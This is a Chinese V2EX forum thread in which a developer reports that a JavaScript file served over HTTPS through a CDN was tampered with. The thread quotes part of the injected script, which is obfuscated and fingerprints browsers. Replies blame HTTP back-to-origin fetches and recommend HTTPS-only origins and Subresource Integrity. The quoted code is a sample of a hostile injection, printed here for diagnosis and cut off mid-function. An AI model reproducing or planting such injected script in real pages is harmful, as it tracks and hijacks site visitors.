好奇 https 下,蓝讯 CDN 分发的 js 内容是如何被篡改的?

2018-08-07 12:15:17 +08:00
 alex321
情况这样,我们有一个域名做静态 static.example.com 资源分发,已经部署了 https,使用的证书是泛域证书,比如 *.example.com 。使用了蓝讯 CDN 的服务。
然后,今天发现这样的情形,有一个 https://static.example.com/js/lib/app.js 的内容被篡改了,检查过浏览器的证书,没问题,是我们自己的泛域名证书 *.example.com ,但内容已经变成类似如下的东西。

var _jsurl = "http://static.example.com/js/lib/app.js";_jsurl += (_jsurl.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "XXTS02";var _c = "1317528361_(D1gRiK90V1atV1P6D9==_1767603217_1_)ie==";var jsNode1=document.createElement("script");jsNode1.setAttribute("type","text/javascript"),jsNode1.setAttribute("src",_jsurl),document.head?document.head.appendChild(jsNode1):document.body&&document.body.appendChild(jsNode1); !function(a,b){function c(a){var d,e,f,g,h,i,b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1),f=a.length,e=0,d="";f>e;){if(g=255&a.charCodeAt(e++),e==f){d+=b.charAt(g>>2),d+=b.charAt((3&g)<<4),d+="==";break}if(h=a.charCodeAt(e++),e==f){d+=b.charAt(g>>2),d+=b.charAt((3&g)<<4|(240&h)>>4),d+=b.charAt((15&h)<<2),d+="=";break}i=a.charCodeAt(e++),d+=b.charAt(g>>2),d+=b.charAt((3&g)<<4|(240&h)>>4),d+=b.charAt((15&h)<<2|(192&i)>>6),d+=b.charAt(63&i)}return d}function d(){return-1!=b.userAgent.indexOf("MSIE")?"ie":-1!=b.userAgent.indexOf("Chrome")?"Chrome":-1!=b.userAgent.indexOf("Firefox")?"Firefox":-1!=b.userAgent.indexOf("Opera")?"Opera":-1!=b.userAgent.indexOf("Netscape")?"Netscape":-1!=b.userAgent.indexOf("Safari")?"Safari":""}function e(){function e(){var a="",c=b.plugins;if(c.length>0)for(j=0;j
4603 次点击
所在节点    全球工单系统
11 条回复
JGideon
2018-08-07 12:20:25 +08:00
cdn 回源用的是 http ?
zhuowenli
2018-08-07 12:22:20 +08:00
之前遇到过 CDN 跟 CDN 服务器之间同步没有走 HTTPS,然后在同步的过程中被篡改的。
stevenhawking
2018-08-07 13:04:36 +08:00
记得国外有个 Jsdelivr,在中国跟网宿合作的。

但是,不久前被污染了
Livid
2018-08-07 13:07:51 +08:00
建议源站只监听 https 443 端口,然后只允许 CDN 通过 https 方式回源。
wsad001002
2018-08-07 13:09:54 +08:00
不清楚楼主的具体拓扑,但是我司使用 akamai 的 dsa( https 加速)是需要在我司的服务器上安装一套证书私钥(origin-www.example.com),在 akamai 上也安装一套证书私钥(www.example.com)。用户访问 www.example.com 的时候其实是与 akamai 的 edge 服务器建立 https 连接,然后 akamai 将数据 downgrade 成 http,然后内部做四七层转发或者其他自定义缓存控制,然后再与我司 origin-www.example.com 服务器建立 https 服务。至少与 akamai 的工程师确认过,数据在他们内部就是透明的。其实也可以理解,如果数据在 cdn 处不透明,他们无法解密 https 数据流的话,那么 cdn 也无法建立缓存和策略控制。目测是 cdn 的缓存有问题,被污染了,所以,换个靠谱的 cdn 吧…
miyuki
2018-08-07 13:24:03 +08:00
cdn 用 http 回源被劫持了
bequt
2018-08-07 13:34:09 +08:00
@stevenhawking SRI 不知道有没有用。现在在用 jsdelivr,感觉还行吧。。
国内都不知道用什么 cdn 了。
alex321
2018-08-07 13:48:05 +08:00
@JGideon #1 具体是运维那边操作的,应该是走 http 的。
miyuki
2018-08-07 14:48:16 +08:00
@bequt

如果你也在用 jsdelivr,那么请小心,他的节点会投毒。
https://www.v2ex.com/t/403110
mywaiting
2018-08-07 15:08:02 +08:00
SRI 请了解一下 https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity

当然了,污染仍然是存在的,建议只用 HTTPS 回源
ETiV
2018-08-07 15:24:24 +08:00
遇到过 apple.com 被 cdn 劫持的,登录页跳到支付宝

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/477565

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX